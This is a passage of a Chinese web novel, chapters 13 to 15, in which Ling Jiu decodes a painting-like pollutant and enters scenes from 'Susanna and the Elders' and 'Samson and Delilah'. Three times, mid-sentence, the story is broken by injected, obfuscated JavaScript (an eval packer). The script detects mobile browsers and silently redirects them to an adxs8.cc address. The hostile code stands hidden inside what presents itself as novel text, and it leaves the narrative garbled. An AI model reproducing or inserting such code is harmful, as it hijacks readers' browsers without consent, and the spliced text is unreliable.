巨型画卷如同一个C型的屏障，边缘处还在蔓延，似乎最终目的是将所有人都裹进这张球型的二维迷宫之中。 朱冕拉着凌玖躲在人群最后，一边捡地上掉落的秦渊技能卡片，一边紧张地问：“怎么办怎么办，这到底是怎么回事？” 有人惊恐道：“是云菲！云菲的天赋是[二维化]！可是云菲明明已经死了……” 朱冕揣了一兜的卡片：“云菲？是上一个S级编队的队长？那个S级进化人？她是不是没有死？” “那不是云菲。”孔凉手里的污染源探测仪还在滴滴的鸣叫着，“是污染物。” 有人紧张道：“可……可是污染物怎么可能有这种恐怖的能力？这明明是进化人的天赋！” 凌玖疑惑：“是不是云菲被污染了，变成了污染物？” “不可能。” “被污染的人类基因拥有单面性。” “就像一个二维平面，正面是在污染催化下产生的天赋，反面是失去人性彻底沦为污染物的异变。正面和反面的两种特性永远不可能同时出现。” 孔凉的声音散发着令人颤抖的寒意：“也就是说……如果一个进化人变成了污染物，那么他身上属于进化人的意识和天赋会彻底消亡。” “这是宇宙的规则，从末世那天起，无一例外。” 猎猎风声似乎都一起被眼前的巨幅图片卷了进去。 朱冕将凌玖挡在身后，声音都有些抖了：“那……那假如正面和反面同时出现了呢？” 周围是一片针落可闻的寂静。 所有人都知道这并不是“假如”，而是眼下他们已经面临的绝境。 本该同云菲一起死去的天赋[二维化]出现在另一个被探测到的污染源身上，这种情况……绝非巧合。 “同时出现……” 孔凉的声音变得悲切：“污染物的天赋将增强百倍，人类倾尽全力创造的平衡被打破……” “世界会重新洗牌。” 13.世界名画 天幕的蔓延速度越来越快。 原本呈C型的二维画卷此时已经变成了一张半球形的弧面，急迫地想要将众人拉入画中。 连秦渊也已经节节败退回来。 朱冕拉着凌玖头也不回地往后跑：“怎么都还愣着，快跑啊——” 孔凉却站的很定。 他手心长出带着尖刺的藤蔓，几乎是一瞬间，地面上的矮草、荆棘都仿佛受到了催化一般猛烈生长，朝着巨型画卷的位置齐齐攻去。 令人意外的是，就连秦渊几个大招扔过去仍然岿然不动的巨型画幕，居然在藤蔓的抽打之下出现了一丝裂痕。 还有植物汁液在画面上留下的点点污渍。 人群中果然传来惊呼声—— “孔队长的攻击有效！” “那可是连秦队都束手无策的污染物！” “孔队好厉害！同样都是S级，其实并不能说明谁比谁差……” …… 孔凉并没有因为众人的夸奖而露出什么多余的表情，察觉到攻击有效，他双手蓄力，掌心滋长出两倍强壮的藤蔓，打算再次攻击头顶的巨幕。 除了朱冕，好像没人想逃。 凌玖也回过头，始终觉得眼前这一幕有些奇怪。 有点像那种为了打脸配角特地设计出的爽文桥段。 孔凉的天赋的确很强，但与能够呼风唤雨的秦渊相比，根本不在一个level。 最奇怪的是这副二维巨画，明明水火不侵，偏偏会怕植物的鞭打？ 凌玖将视线重新移到巨型画卷之上，终于发现了华点—— “等等，这画……好像有点不对劲。” 虽然凌玖说话中气十足声音洪亮，可毕竟她只是后勤队的一个小喽啰，没人会听她的。 孔凉更是充耳不闻，手中的藤蔓迅速朝空中袭去。 然而下一秒，一个巨大的火球就击中了游蛇一般的藤蔓。 雷电与火光交错，不过瞬间的功夫，所有植物都化为灰烬。 是秦渊出的手。 孔凉怒不可遏地看着他：“你做什么？！” 秦渊的突然攻击让众人都有些不解，不少人和孔凉一样露出怀疑和不满的情绪，秦渊却显得有些无所谓，淡淡抬起眼睫看向凌玖：“你想说什么？” “现在是什么危机时刻！就因为一个后勤队的有话要说，你就要打断我的攻击？！秦渊啊秦渊，我看你根本就是目的不纯！” 孔凉又愤怒地冲凌玖道：“你有什么废话私下自己去说，别在这儿……” 凌玖却只是眉心蹙起，扬手示意他闭嘴。 她声音高亢，气场十足，有种在场众人都是她不听话的学生的那种上位感：“你们谁比较了解云菲这个人？她平时有什么爱好吗？” 情不自禁闭了嘴的孔凉：“……她喜欢画画。” “问这种废话做什么，你不要虚张声势……” 孔凉又准备激-情开麦，立刻收到了凌玖的一记眼刀，以及一声极其不耐的“啧”。 仿佛下一秒就要有粉笔头飞过来了。 孔凉：…… “如果是喜欢画画的话，这就对了。”凌玖指着面前的巨幅二维画作，“这有点像一副画。” 孔凉承认这个女人气场有点强，但不是说话刺头就能占上风的，他当然不服气，一肚子的嘲讽等着喷呢：“都变成二维的了，当然像一副画，你以为我们都是傻子吗？” 凌玖没理他：“阿特米西亚的《苏珊娜与长老》。” 孔凉：？ 在场大多数人都是大老粗，没什么艺术造诣：“听起来像是什么世界名画？” 凌玖指着画面解释：“阿特米西亚是巴洛克时期的一位女画家，《苏珊娜与长老》这幅画讲述的主题是苏珊娜在花园里洗澡的时候被两位长老偷窥，并试图与她发生关系，她抵死不从，却被长老们诬陷与别人通奸。直到先知但以理出现，才帮苏珊娜证明了青白。” “历史上很多画家都绘制过这个故事，但只有阿特米西亚的表述多了一份女性的抗争。” 泡在水潭中的哥斯拉就像是原画中在水池中洗澡的苏珊娜，而另外两个被定格的A-级进化人，动作则与那两个猥-琐的长老出奇的相似。 《苏珊娜与长老》表述的是诬陷、伤害与女性坚决的反抗，可这个故事的最后，是需要有人帮助她洗清冤屈的。 人人都当哥斯拉是十恶不赦的污染物，只有凌玖知道它是委屈的。 那这副“画”的绘制者呢？阿特米西亚因为曾被性侵和诬陷，用《苏珊娜与长老》表达自己，那云菲呢？ 云菲为什么要帮哥斯拉鸣不平？又或者说……她只是在为哥斯拉不平吗？ “你这种牵强的联想有什么意义？”孔凉掌心蓄力，打算再次发起攻击，“是能救我们出去，还是能消灭污染物？” 秦渊眉心拧起，也准备蓄力。 凌玖给了对方一个安抚的眼神，然后来到孔凉身边站定。 她比孔凉矮了一个头，可灼灼的目光与笃定的气场顿时产生了一种身材瘦小的班主任在训斥班里最不听话的大块头的既视感。 感觉如果再拿个教棍，孔凉就可以去教室后排罚站了。 孔凉：…… 怒不可遏但还是有些心虚躲闪地对上了凌玖的视线：“你干嘛？” “我有个问题想问孔队长。”凌玖指着蔓延的二维巨幕，“如果那个污染物真的就是云菲呢？你也要毫不犹豫的杀死她，取走孢子吗？” 孔凉的目光闪烁了一下，却还是坚定道：“污染物就是污染物，不论她曾经是谁，此时此刻，她都是我们的敌人。” 凌玖意味深长地在人群中扫视一圈，平静道：“哦……我问完了。” 人群中响起兮兮索索的声音—— “云菲……那可是排得上名号的S级进化人，那么厉害都变成污染物了，那我们……” “如果我们变成污染物，也得被这么弄死吗？” “孔队有点不近人情了……” “万一云菲还有人类意识呢，也不救救吗？” “感觉在卸磨杀驴……” 孔凉看着一句话就动摇军心的凌玖，简直恨得牙痒痒。 卑鄙！ 他试图劝说众人，可他要下的是杀招，怎么劝？劝大家一起杀死曾经的队友吗？ 凌玖简直是把他扔进油锅里双面煎。 牙都快咬碎了，孔凉只好收手：“你打算怎么做？就算那是云菲，可她已经变成了无法控制意识的污染物！” 凌玖瞥他一眼：“污染物能绘制出《苏珊娜与长老》这种旷世巨作？” 她来到众人面前，声线笃定：“云菲的意识还没有消散，创作这幅画的目的，就是在向我们求救。” 有人紧张地问：“可是那幅画越来越大，会不会把我们都变成图片？” 凌玖冷静答疑：“如果她的目标是把我们都变成画，我们根本不会活这么久。” 众人齐刷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162874|163843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刷地望着她，眼里充满希冀：“所以……她不会伤害我们？” “我认为不会的。”凌玖指着一个举起手的进化人，“你有什么问题？” “王勤和李泽栋，就是那两个已经二维化的队友，他们还能回来吗？” 凌玖：“如果我们能帮到云菲，我相信她一定会放了他们。” 又有人举手：“请问您……叫什么名字？” “我叫凌玖。” 越来越多的人开始举手提问，两位队长几乎被架空，此时的焦炭山谷俨然成了凌老师课堂答疑。 “我们应该怎么做？” “这幅画到底表达了什么？云菲有什么事是被冤枉的吗？” “如果云菲没死，为什么探测仪能检测到污染源？” “已经变成污染物的进化人，真的还能回来吗？” …… 学生们求知若渴，有些问题凌玖也暂时没办法回答。 直到孔凉在一旁凉凉地说：“就凭你一句话，就能证明这个污染物不会伤害我们？万一她一会儿把我们都变成图片了呢？” 凌玖就知道他会挑事儿：“我会证明。” 她向秦渊略微颔首：“一会儿麻烦秦队长用风把我送上去。” “我会近距离接触那幅画，如果我变成图片了，你们再攻击也不迟。” “不行！” “不行！” 队伍前后响起两道异口同声的制止。 朱冕紧张兮兮地跑上前来，凑在凌玖耳边道：“你干嘛冒这个险！我答应过要保护好你的！不然还是我上去吧！” 凌玖没有回答他，只是有些意外地看向另一位出声制止的人。 秦渊。 对方眸光闪烁，停顿了片刻才说：“太……太危险了。” “要不我替你……” 凌玖摆了摆手：“我上去不光是要证明的，还有重要的事情。” 她回头望着巨幅画卷—— 哥斯拉与两个进化人的每一个动作细节几乎都可以与《苏珊娜与长老》的原作对应，但唯独少了一点。 阿特米西亚的画中，苏珊娜的眼神不是惶恐羞怯，更不是哥斯拉此时呆滞的状态。 那双眼睛里写满了不耐与抗争。 所以这幅画……需要略微改动一下。 凌玖来到朱冕身后，踮起脚尖拉低他肩上的背包：“我记得你包里是不是带着颜料和画笔？” 朱冕丈二和尚摸不着头脑：“我怎么可能随身带着那玩意儿？” 凌玖假装翻包，谁知道这厮鼓鼓囊囊的包里竟然装满了刚刚秦渊被二维化的各种技能卡片。 “我刚刚就想问你了，捡这么多卡片干嘛？” 朱冕小声道：“黑市秦渊的同人谷子都炒成黄金价了，这些技能卡片真实且质量好，战神秦渊亲自打出来的官方周边，我就要发财了！” 凌玖：…… 掏了半天，凌玖意念催动[创物]天赋，变出了一整套的绘画装备。 “不是，你别掏了，我又不是画家，怎么可能随身带着颜料……”朱冕话音未落，就看到凌玖从包里掏出了颜料、画笔，甚至还有一只调色盘。 朱冕：“？哪来的？” 凌玖没搭理他，对秦渊道：“麻烦秦队了。” 脚下拾起一阵劲风，凌玖慢慢飘了起来。 秦渊打算陪着她一起上去，只是对她的行为有些疑惑：“你这是……” 凌玖勾唇：“画龙点睛。” 14.参孙与达利拉 不得不承认[二维化]的天赋点高于所有高清摄像头。 等比压缩的哥斯拉与两名进化人真实清晰，细致到毛孔以及哥斯拉眼睛里不可置信的血丝都清晰可见。 凌玖在色板上调好颜色，由秦渊护送她来到了巨画面前。 巨幅天幕的边缘仍在蔓延，凌玖试着抬手碰了下已经二维化的哥斯拉，是厚重的油画布质感，不过倒是像相纸一样很光滑。 即便触碰，凌玖也没有被画吸进去。 她举着画笔漂浮在巨幕中央，倒让人有种这幅画是出自她手的错觉。 大概是为了及时保证她的安全，秦渊停在她身后很近的位置，一只手还抓着她防护服的帽领。 见她安然无恙，才如释重负般松了手。 凌玖回头俯瞰地面上的众人，比了个OK的手势。 所有人都松了口气，唯独孔凉始终阴沉着脸看着她。 凌玖闭上眼睛，仔细回想《苏珊娜与长老》原作中苏珊娜的神情。 眼睛是心灵的窗户。 那双眼睛里除了惊恐，更多的是烦躁、厌弃、不满……与反抗。 笔尖沾了墨，凌玖用深色的颜料覆盖住了哥斯拉那双血红的眼睛。 接着用白色的高光，赋予了这个眼神灵魂。 令人闻风丧胆的庞然巨兽仿佛真的变成了水池中的美-少-女，不再狰狞可怖，一双眼睛里写满了不安与愤然。 几乎是同一瞬间，面前的巨幅画作突然迸发出一片刺眼的白光，凌玖只觉得自己脚下不稳，仿佛被滔天巨浪裹挟，浮浮沉沉，直到失去意识。 …… 再睁开眼时，映入眼帘的是宫廷奢华的穹顶。 凌玖这才发现她身处一处宽阔的宫殿，此时她正躺在柔软的鹅绒被中，不远处还端正地站着一位侍女。 亚洲长相，穿着却是古希腊的风格，身上有一股淡淡的铃兰花香。 侍女见她苏醒，连忙恭敬地端着果盘奉上：“大士师，您醒了。” 大士师，这是什么称呼？ 凌玖想要发问，却发现自己仿佛被一股冥冥之力控制着，身体十分从容的起身，捏了一颗红色的果子塞进口中。 酸甜的汁液充斥着她的口腔，一切感触都是真实的，可她偏偏没有办法控制自己的动作。 凌玖只能试图通过眼神来表达内心的疑惑。 侍女很快接收到了她的目光：“士师，您怎么了？” 凌玖艰难的蠕动嘴唇，却只能磕磕绊绊地吐出半个音：“你……” 侍女心领神会，连忙颔首：“大士师，我是希娅，是新来的侍奉您起居的侍女。” 她是大士师？这是哪里？ 她好像忘记了什么…… 像一场梦。 梦中之人很难意识到自己是在梦境中，人的思维会在梦中被重塑，现实中的事物就像被遮上了一层白布，始终无法想起来自己到底忘却了什么重要的事情。 凌玖此时就是这样如坠梦窟的恍惚感。 心底有一个声音在告诉她，她并不属于这里，可任凭她如何卖力的回忆，都无法探寻到被白布遮住的真相。 她扶着额从床上爬起来，走到窗边。 楼下的街道有很多行人，他们的穿着打扮都是希腊风，路边的建筑物也是白柱拱墙和木梁陶瓦，仿佛置身雅典。 行人们看到在窗边驻足的凌玖，纷纷停下脚步向她行礼，眼神中充满崇敬。 凌玖的头更痛了，所以……她到底是谁？ 众人的礼拜让她有些不适应，凌玖向后退了几步，又匆匆走出寝殿，来到会客厅。 会客厅里已经站着许多人了。 他们有些穿着长袍，有些身着铠甲，见到凌玖出现，为首的一名又高又胖的将军单膝跪地，激动地说：“大士师，非利士人撤兵了！” “他们显然是在惧怕您！您力大无穷，一人可以抵挡上千士兵，只要有您在，我们希伯来就可安然无虞！” 凌玖盯着这人看了半晌，总觉得他有些熟悉。 不止这位，殿中许多人的面貌都让她产生了一种似曾相识的感觉。 他们……都是谁？ “大士师，您是我们的英雄！这处最大的宫殿以后就是您的居所，您还有什么需要都可以随时提出来——” 这将军胖的都没脖子了，说话时憨憨的，凌玖试图从空白的思绪中抓住那么一缕线索，隐约想起了他的名字—— 朱…… 可她却不由自主地向门口走去，懒散地开了口：“我想出去走走。” 作为整个城邦最至高无上的英雄，凌玖出行自然是有人开道的。 行人们围观侧目，路边的小商贩会热情地将瓜果塞进她怀里，每个人的脸上都洋溢着无限的崇敬，凌玖的确拥有最高声望。 这种舒适的感觉让凌玖很恍惚，竟有些沉浸其中。 很快，他们一行人路过了一所神庙，有人从门口的台阶上跌落下来。 凌玖的身体总比思维快那么一步，她力大无穷，轻松揽住那人的腰，将他接入怀中。 待他站定，凌玖才看清这人的长相。 他身量很高，身上只披着一块有些脏污的白布，勉强遮住重点部位，劲瘦的手臂肌肉紧张地抖动着。 脸上带着覆面，只露出一双深邃漆黑的眉眼。 凌玖愣住了。 这双眼睛……很熟悉。 她想开口，可手却不受控制的扯掉了男人脸上的黑布。 那是一张英俊到令人怜爱的脸。 男人睫毛垂了垂，低声道：“谢谢您。” 凌玖扶着他的背脊站好：“不客气，下次小心一点。” 她正要走，忽的有人捉住了她的手腕。 周围人群发出惊呼声，只见男人单膝跪地，摇尾乞怜般地仰头望着凌玖：“大士师，您……您可以带我走吗？” 那双深邃凌厉的瞳孔此时泪濛濛的，就像一只被人抛弃的小狗，用自己的脸轻柔地蹭凌玖的手心：“大人，可以吗？” 见凌玖不应，他突然扯开自己的衣服，露出胸膛上的点点鞭痕。 殷红的血痕并不可怕，印在随着呼吸而起伏的胸肌上，反而有种诡异的美感。 美人垂泪，颤抖地捧着凌玖的手哭诉：“我……我不想再受到虐待了，大人，您能庇护我吗？” 一旁的胖将军抬脚将人踢开：“不要用你那张脸勾-引大士师！” 又向凌玖解释：“他就是此处的一个庙妓……” 那人倒在地上，只敢楚楚可怜的看着凌玖的鞋底。 凌玖只觉得眼前的场景有些不太对劲。 潜意识在告诉她面前的男人不应该是这副柔弱的模样，可这种莫名的认知又不知道到底是从哪里来的。 包括其他人。 很多人的脸都很熟悉，好像他们都在扮演着与自己人设不符的角色。 凌玖头有点痛，她伸手扶额，皱着眉问：“你叫什么名字？” 男人抬起头，用近乎虔诚的语气回答：“大人，我叫达利拉。” 凌玖还是把这个名叫达利拉的男人带了回去。 回到寝殿，希娅端了水盆过来为她净手，达利拉连忙抢过希娅手里的毛巾：“我来。” 希娅看了他一眼，眉宇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164065|163843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间闪过一丝郁色。 达利拉在凌玖身边殷勤了好久，才被希娅赶去洗澡了。 等他走远，希娅有些忧虑地问：“大士师，您怎么把他带回来了？” 凌玖拧眉看着她，试图从希娅的表情中理出一些头绪，可身体却还是不受控制地开口：“他很可怜。” 希娅叹息道：“他只是一个庙妓，最会使用那种楚楚可怜的样子骗人。” “而且他是个非利士人，万一要刺杀您怎么办？” 凌玖满不在乎地耸了耸肩：“他那么柔弱，怎么可能刺杀的了我？” 虽然这句话总感觉不太对劲。 希娅忧愁地侍奉凌玖换衣服：“总之我一定会看好那个人，不会让他伤害大士师的！” “不必忧虑。”凌玖的身体下意识说，“我可是拥有神赐予力量的参孙。” 话音刚落，凌玖忽的怔住。 她的身体在不受控制的演绎着一切，也无意识地说出了她在此的真实身份—— 参孙。 这个名字有些熟悉，到底是在那里见过？ 参孙、大士师、达利拉…… 还有非利士人和希伯来人…… 凌玖倏地瞪大眼睛，那层遮住潜意识的朦胧白布被瞬间揭开。 她的身体也仿佛冲破了某种限制。 她想起来了。 在《圣经旧约》中记载，公元前的时候，希伯来人被异教-徒非利士人欺凌，是拥有神力的参孙带领他们打败敌人。 在士师时代，士师就是整个民族的领袖，所以参孙又被称呼为“大士师”。 思绪清明之后，凌玖很快想明白了一切。 他们之所以会进入这个故事中，大约是因为另一幅画—— 鲁本斯的《参孙与达利拉》。 这是一个英雄难过美人关的故事，参孙被情-人达利拉套出神力来源的秘密，原来神力来自他的一撮头发，后来达利拉趁参孙熟睡剪掉了那一缕头发，让参孙沦为凡人。 只是故事在凌玖这里性转了。 她在扮演参孙，而达利拉竟然是…… 凌玖朝浴室的方向看了一眼，并不敢轻举妄动。 虽说她已经在这场“梦境”中彻底清醒，但云菲将他们所有人都拉入这个故事中，一定还有其他的目的。 简单来说，她暂时还不能OOC。 于是凌玖佯装懒散地走向浴室：“我去洗澡。” 希娅紧张道：“您难道要和那个非利士人一起……” 凌玖冲她笑了一下，没再说话，只是淡定地向浴室走去。 浴室里雾气朦胧。 希娅就站在浴室门口不远的位置，随时能察觉里面的动向。 凌玖只好一脚踏入浴池中，冲里面湿漉漉的男人道：“我和你一起洗。” 男人的身体许是被热水泡的，氤氲起一层粉色。 朦胧中凌玖并不能很清晰地看到他的表情，只知道对方从水池对面游了过来，然后在水中抓住了她的脚踝。 “那……我来侍奉大人沐浴。” 凌玖想挣脱，但又怕被门口的希娅发现不对劲儿，只好弯腰凑近“达利拉”的耳旁，低声道：“快点醒过来，秦渊。” 男人身体一怔，抬起头看着她。 凌玖左看右看，这人眼神好像恢复的半刻清明，但怎么感觉又黏糊起来了？ 到底醒没醒啊？“战神”这么菜的吗，都凑到耳边喊了还醒不过来？ 凌玖还在纳闷，那只握住她脚踝的手却动了。 秦渊轻轻拉起了她的左脚，脚背浮出水面，他低下头，虔诚地吻了上去。 15.醒过来 凌玖本来以为秦渊应该是那种上学的时候老师很喜欢的一点就通的优等生。 谁知道根本点不通。 这要搁她们班，得扔去教室后面罚站。 既然孺子不可教也，那就再教一遍。 凌玖深吸一口气，准备开启基础知识点教学模式，谁知道面前那颗湿漉漉的脑袋突然抬了起来。 仍然是那副黏黏糊糊的表情，不过声音是清明的：“希娅在看。” 意思是他是演的。 凌玖顿时有点刮目相看了。 是她误会了！优等生！妥妥的优等生！ 竟然能先老师一步发现题目的难点，演技出神入化，堪得奥斯卡！ 凌玖没回头，双手扶着秦渊的肩膀跳入水中，拉着他往浴池最死角的位置游。 卡了个希娅看不到的视野，这才放松警惕，小声凑近道：“你清醒了吗？” 秦渊只嗯了一声，声音有点闷。 “《苏珊娜与长老》是第一幅画，我们此时在第二幅画里，鲁本斯的《参孙与达利拉》。” 凌玖解释道：“按照剧情的发展，参孙——也就是我会告诉你我的力量来源在头发里，而你——达利拉会剪掉我的一撮头发。这就是那副画面的内容，如果这个剧情出现，我们应该就会像S级巨兽和那两名进化人一样，被困在画中。” 秦渊看起来有点心不在焉，凌玖职业病犯了，皱着眉问他：“听明白了吗？” 秦渊点头。 凌玖：“那你重复一遍。” 秦渊：“……我不会剪你的头发的。” 凌玖：“……就不能举一反三一点？” 凌玖恨铁不成钢地看着他：“除了这个，还有两件更重要的事情！” “从《苏珊娜与长老》再到《参孙与大利拉》，云菲到底想告诉我们什么事。” “还有……活要见人死要见尸……” “云菲到底在哪。” 根据秦渊的回忆，那些凌玖觉得眼熟的人都是他们的队友。 也就是说所有人都和他们一样，在失去原本意识的状态下进入了这场由云菲创造的“梦境”中。 但两人自己回忆了半晌，唯独有一个人没有在这个剧情中出现。 孔凉。 他到底是个还没来得及出场的人物，还是说逃掉了没被云菲弄进来还不得而知。 秉持着不能OOC的原则，这场戏在有N-PC在场的时候，还得继续演下去。 与此同时，凌玖和秦渊需要悄悄的唤醒其他队友。 不过凌玖还是低估了这件事情的难度，并不是所有人都能像她和秦渊一样突破迷雾。 “云菲已经变成污染物了，这里的污染浓度很高。” 秦渊终于道破：“其他人的抗污染能力恐怕没有那么强，想要唤醒他们应该存在一定的困难性。” 凌玖顿时恍然。 虽然还没有弄清楚原因，但她好像一直对人人都惧怕的污染存在免疫力。 当初在学校的时候，张琦和朱冕带着防护面罩都差点被强烈的污染浓度撂倒，而她却只是觉得空气味道有点臭而已。 此时…… 凌玖皱起鼻子嗅了嗅，空气中的确有点味道，像那种年久失修的老家具，在潮湿的环境中逐渐霉变的味道。 她并没有觉得有多么难闻，反倒是秦渊，时不时的用手指按压眉心，似乎忍耐的很痛苦。 凌玖知道时间不多了。 虽说进化人比普通人抵抗污染侵蚀的能力要强一些，但在高浓度的污染下，仍然存在污染值爆表的风险。 秦渊作为S级进化人已经忍耐的如此痛苦了，其他人如果不尽快离开这个地方，恐怕凶多吉少。 “我去找污染源，你去想办法唤醒其他人。”凌玖安排道。 “不行，你一个人去找污染源太危险了。”秦渊眉头紧锁，“我得保护你。” 凌玖从浴池里爬出来，拿了一件干净的衣服披上：“你的天赋还在吗？” 秦渊扬手试了一下，他没办法驱动水流，更没能燃起火焰。 这就意味着他的受污染程度几乎已经达到了临界值，当进化人即将变成污染物时，天赋也会随之消失。 同时证明了……云菲这种天赋仍然存在的污染物是个特例。 凌玖知道秦渊有些懊恼。 这也是第一次，她在外人面前展示了自己的天赋—— 只见她随手打了个响指，一把精巧的激光弹枪就出现在她的掌中。 “放心吧，我的天赋还在。” …… 凌玖仍然保持着属于参孙懒洋洋的状态，拖着步伐从浴室中走出来。 秦渊跟在她身后，低声道：“大人，不打扰您休息了。” 见秦渊离开，希娅又拿了一件干净的素色长袍过来。 衣服上有一股淡淡的铃兰花香味，和希娅身上的味道很像。 凌玖张开双臂，姿态懒洋洋的，由希娅伺候她穿衣。 “士师，您一定要小心达利拉。” 希娅一边叹息一边说：“我知道您喜欢他，可非利士人很狡猾的，随时都有可能扑上来咬人。” 凌玖仔细辨别着屋子里的霉变味道。 她的寝殿在二楼，大厅那边味道很轻，反而是越靠近楼梯间的味道越重。 凭气味辨别污染源的位置，她大概也是头一个了。 敷衍哄骗希娅离开后，凌玖借口休息，支开了寝殿门外所有的守卫。 她悄悄靠近楼梯间，顺着石阶摸索着下楼。 然后就在一楼看到了一个又高又胖的身影，正在啃着一条火鸡腿。 凌玖：…… 一楼是餐厅和厨房的位置，壁龛里燃着火灯，所以还算明亮。 那人很快注意到了身后的凌玖，连忙回过头，紧张的单膝跪地：“大士师！” 凌玖有些无语地冲朱冕招了招手：“你过来。” 朱冕走到凌玖面前，又跪了下来：“大士师！” 凌玖：“……你叫什么名字？” 朱冕抬起头，宣誓一样：“我叫桑德亚啊大士师！” 凌玖摇摇手指：“不，你不叫这个名字，你姓朱。” “猪？我叫猪桑德亚？” 凌玖：…… 还好周围没有其他人在，不用担心OOC，凌玖把朱冕扶了起来，试图唤醒他的记忆：“听着，你叫朱冕，你是我的队友，我们一开始是在学校的蠕虫任务中认识的，你仔细想想，我叫什么名字？” 朱冕茫然地看着她，目光混沌。 不过语气倒是和从前没什么区别，兴冲冲的：“您叫参孙啊大士师！” 完了，醒不过来。 朱冕只是B级进化人，出现这个结果应该是意料之中。 但凌玖是金牌教师，总想着能救的学生还是要救一救，认真看着他的眼睛：“你再仔细想想，你答应过我什么？” 朱冕的眼睛里似乎恢复了一丝清明，怔怔地看着凌玖：“我答应过你，要……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169657|163843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“永远保护你。” 凌玖喜出望外，正打算跟他击掌庆贺，结果这人又跪了下来，信誓旦旦地说：“我会永远保护您的，大士师！” 凌玖：……行吧。 保护凌玖似乎成了朱冕人生的主线任务，哪怕污染值临界了，也牢牢记着。 所以凌玖去哪他去哪，见凌玖往地下室去，扔下火鸡腿就屁颠屁颠跟上。 那股霉味的确是从地下室传上来的。 从一楼往地下室去的楼梯间漆黑一片，借着点微弱的火光，能注意到石阶似乎变得更窄更陡了。 地下室应该没有人。 凌玖回头看了眼憨憨的朱冕，也没避着他，手在衣袍下变了个手电筒出来，直接开灯往下走。 地下室就像一处冰窟，源源不断地向上翻涌着森然寒气。 拢紧了长袍，凌玖回头对朱冕道：“跟紧我。” 朱冕脑子里好像只剩这一件事：“放心，我一定保护好您！” 她变出来的是一把强光手电筒，倒是把狭窄的楼梯间照得恍如白昼。 只是……这楼梯未免太长了点。 两人已经走了好久，周围只能听到脚步声的微弱回响，可手电筒光束所触及的位置却始终没有到底。 凌玖又回头照了照来时的路。 已经看不到尽头了。 就像是一条通往地狱的无尽阶梯，寒冷而让人绝望。 不能回头。 凌玖能闻到，越往下霉味越重，污染源一定就在这楼梯的正下方，为了更快一点，她甚至加快脚步，拉着朱冕几乎小跑着向下。 不知道跑了多久。 久到她的后脊已经被冷汗浸透，终于，手电筒的白光触及到了一片平坦的区域。 到底了。 在凌玖双脚踏上平地的那一刹那，周围突然灯光大亮。 青白的大理石地砖，精美的欧式吊顶和水晶灯，不远处的墙面上还挂着画。 这里是与公元前的装潢完全相悖的地方，是一所奢华现代的美术馆。 只是……扑面而来的霉味已经变得刺鼻，这里的污染值有些过于浓郁了。 凌玖连忙回头观察朱冕，他的目光已经变得混沌，呆滞的像一只木偶，在视线接触到凌玖之后，只会喃喃地重复一句：“保护你，保护你……” 美术馆空旷的诡异。 凌玖拉着朱冕向前走，这才发现墙上竟然只挂着三个画框。 第一幅画赫然是哥斯拉和那两个进化人被定格时的照片，只是同比例缩小成了画布的尺寸。 画框下标注着名字—— 《苏珊娜与长老》。 而中间那副画却是一张空白的画框，标注《参孙与达利拉》。 正如凌玖所料。 一旦她和秦渊走完了参孙和达利拉剧情，就会变成画永远被烙印在这面墙上。 而最后一幅，则是米开朗琪罗最负盛名的壁画—— 《最后的审判》。 奇怪的是这幅画并不是空白，也不是云菲二维化之后的作品，而是等比例缩小后的米开朗琪罗原作。 四百多个人物动作神态各异，即便画作被缩小，仍然令人震撼。 画面分为四层，上层的天使、中间的耶稣、下层被审判的人群以及最底层的地狱。 凌玖倏地瞪大了眼睛。 这幅画并非完全是原作的样子，在画面最底层地狱的中央位置，那个被绑在十字架上的焦黑尸体…… 竟然是孔凉的脸。